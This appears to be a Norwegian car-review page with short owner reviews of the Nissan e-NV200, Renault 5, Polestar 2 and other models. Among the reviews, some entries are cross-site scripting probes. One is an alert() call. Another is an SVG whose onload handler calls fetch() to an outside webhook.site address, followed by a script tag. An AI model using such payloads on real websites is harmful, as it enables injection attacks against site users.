Vurdert av Ragnhild
Nissan e-NV200 (2020)
Praktisk og veldig grei bil. Med Premium utgaven er det jo personbilkomfort for fører og passasjer.
Nissan e-NV200 (2019)
God bil, mye bil for pengene. Ingen langtur bil, kort rekkevidde og dårlig langtur komfort.
Nissan e-NV200 (2018)
Nissan e-NV200 (2018)
Kan godt anbefale denne bilen til den som har 2 eller flere barn. Det hadde vært fint med tilhengerfeste men siden den har stor plass og gode muligheter for taklast er det ikke mange som vil ha ofte
Nissan e-NV200 (2018)
Avslappende og god bil å kjøre. Eco-modus hjelper meg å ta det litt med ro. Sitter høyt med god oversikt. Utmerket komfort, god benplass bak som fire seter. Ok med et sete på midten, som fem set
Nissan e-NV200 (2017)
Ikke fornøyd. Mye feil og mangler og dårlige kjøreegenskaper.
Nissan e-NV200 (2016)
Flotteste elbil
Nissan e-NV200 (2016)
Veldig godt fornøyd, passer meg utmerket som bare har korte turer i lokalmiljøet driver med catering virksomhet
Nissan e-NV200 (2016)
5 seter med 6,6 kw lader. Meget lettkjørt og oversiktlig med store speil, god oversikt rundt hele bilen. God plass til stort hundebur og barnevogn samtidig. God plass til barneseter i baksetene.
Nissan e-NV200 (2015)
Veldig fornøyd med bilen. Passer bra for deg som klarer seg med rekkeviden rundt 100km.
Nissan e-NV200 (2015)
Elbil er elbil, drit i rekkeviddehysteriet, det er kun på bil nr 1 det er viktig, ellers tenker du knapt nok over det. Blir det for lite strøm på en dag, så stopper man bare 5-10 min på en Kiwi b
Nissan e-NV200 (2015)
Etter mengder med forskjellige fossilbiler gjennom mange år og nå med to elbiler er konklusjonen klar. Det blir ALDRI fossilbil på meg igjen ☺
Nissan e-NV200 (2015)
Dette er en lettkjørt og meget anvendelig bil i hverdagen for en barnefamilie på 4. Bilen er godt utstyrt og svært romslig.
Nissan e-NV200 (2015)
Flott bil. Men savner større batteri. Kjempe praktisk med barn i bilen. Elendig app til bilen. Appen må stadig aktiveres fra bilen, og når den fungerer så er den veldig treg.
Mazda CX-5 (2013)
Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h